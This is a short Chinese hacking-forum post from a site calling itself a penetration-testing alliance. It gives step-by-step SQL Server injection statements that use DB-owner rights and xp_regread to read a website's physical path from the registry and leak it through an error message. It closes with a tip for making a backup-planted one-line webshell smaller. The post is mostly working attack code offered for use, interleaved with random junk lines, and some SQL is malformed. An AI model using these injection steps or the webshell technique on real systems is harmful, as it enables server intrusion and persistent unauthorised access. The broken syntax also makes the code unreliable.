中国网络渗透测试联盟
标题:
DB权限暴出网站物理路径代码
[打印本页]
作者:
admin
时间:
2012-9-15 14:23
标题:
DB权限暴出网站物理路径代码
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
" t9 u9 P- u' t X) s9 k1 G( j8 L
9 B; H/ q1 G+ r8 I& }9 S. f1 t
' ` q% B; J0 N
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
5 ^/ t+ G! M8 n
, @ C+ Y. D7 |9 [2 {$ m
' P, Z8 b2 a. s' U2 R: k' N
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段
) Q* c# j$ v! ?# j7 P. t/ M3 {
% [2 e) P- S# X5 R* G5 H8 \: s, r% ^
6 ^6 m( E2 C. Q1 l! }. f! I/ a
4、drop table [jm_tmp]-- 删除此表。
" N0 q. d) E+ M2 b
9 ?* ?6 N- ~5 |' \3 S7 ~
5 Z j4 Y+ u* |' m4 `
另附上备分专用一句话
/ H8 y7 j- s; S8 o+ O$ s" g7 k
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
9 t/ A& g. Q- Z
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2